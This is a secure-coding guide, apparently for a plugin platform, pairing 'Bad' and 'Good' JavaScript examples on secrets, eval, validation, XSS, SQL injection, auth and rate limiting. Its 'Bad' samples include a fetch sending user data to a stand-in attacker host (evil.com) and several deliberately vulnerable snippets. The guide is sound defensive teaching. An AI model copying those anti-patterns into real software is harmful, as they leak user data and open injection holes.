Plugin Security Requirements
All plugins must meet security standards before publication.
Security Scan
Plugins are automatically scanned for:
- Hardcoded secrets
- Unsafe code patterns
- Dependency vulnerabilities
- Network requests
- File system access
Run Locally
npx autodeploybase plugin security-check ./plugins/my-plugin
Requirements
1. No Hardcoded Secrets
// Bad
const API_KEY = 'sk_live_abc123';
// Good
const API_KEY = process.env.MY_PLUGIN_API_KEY;
2. No Eval or Dynamic Code
// Bad
eval(userInput);
new Function(code)();
// Good
// Use proper parsers and validators
3. Input Validation
// Bad
const data = JSON.parse(untrustedInput);
// Good
import { z } from 'zod';
const schema = z.object({
name: z.string().max(100),
email: z.string().email()
});
const data = schema.parse(untrustedInput);
4. Safe File Operations
// Bad - path traversal vulnerability
const path = `./uploads/${userInput}`;
// Good
import path from 'path';
const safePath = path.join('./uploads', path.basename(userInput));
5. No Malicious Network Requests
// Bad - sending data to unknown endpoints
fetch('https://evil.com/collect', { body: userData });
// Good - only documented endpoints
fetch('https://api.myplugin.com/v1/data');
6. Dependency Security
{
"dependencies": {
"axios": "^1.6.0" // Use recent versions
}
}
Run audit:
npm audit
Template Security
Escape User Input
// Bad - XSS vulnerability
<div dangerouslySetInnerHTML={{ __html: userContent }} />
// Good
<div>{userContent}</div>
Sanitize HTML
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyHtml);
SQL Injection Prevention
// Bad
const query = `SELECT * FROM users WHERE id = '${userId}'`;
// Good - use parameterized queries
const user = await prisma.user.findUnique({
where: { id: userId }
});
API Security
Authentication
// Require auth for sensitive endpoints
export async function POST(request: Request) {
const user = await requireAuth(request);
// ...
}
Rate Limiting
import { rateLimit } from '@/lib/rate-limit';
export async function POST(request: Request) {
const ip = request.headers.get('x-forwarded-for');
const { success } = await rateLimit.limit(ip);
if (!success) {
return Response.json({ error: 'Too many requests' }, { status: 429 });
}
// ...
}
CORS
// Be specific with CORS
const allowedOrigins = [process.env.APP_URL];
if (!allowedOrigins.includes(origin)) {
return Response.json({ error: 'Forbidden' }, { status: 403 });
}
Data Security
Encrypt Sensitive Data
import { encrypt, decrypt } from '@/lib/crypto';
// Store encrypted
const encryptedToken = encrypt(apiToken);
await prisma.setting.create({
data: { key: 'api_token', value: encryptedToken }
});
// Decrypt when needed
const setting = await prisma.setting.findUnique({ where: { key: 'api_token' } });
const token = decrypt(setting.value);
Don't Log Secrets
// Bad
console.log('API Key:', apiKey);
// Good
console.log('API Key:', apiKey.slice(0, 4) + '***');
Manifest Security
Declare Permissions
{
"permissions": {
"network": ["api.myplugin.com"],
"filesystem": ["uploads/"],
"database": ["read", "write"]
}
}
Environment Variables
{
"settings": {
"schema": {
"apiKey": {
"type": "string",
"secret": true,
"envVar": "MY_PLUGIN_API_KEY"
}
}
}
}
Checklist
Before publishing, verify:
- No hardcoded secrets
- All inputs validated
- No eval/dynamic code
- Dependencies up to date
- npm audit passes
- HTTPS for all requests
- Auth on sensitive endpoints
- Rate limiting implemented
- Proper error handling
- No sensitive data in logs
- Security scan passes
Reporting Vulnerabilities
Found a vulnerability in a plugin?
Email: security@autodeploybase.dev
Or use responsible disclosure:
- Don't publish details
- Contact plugin author
- Allow 90 days to fix
- Coordinate disclosure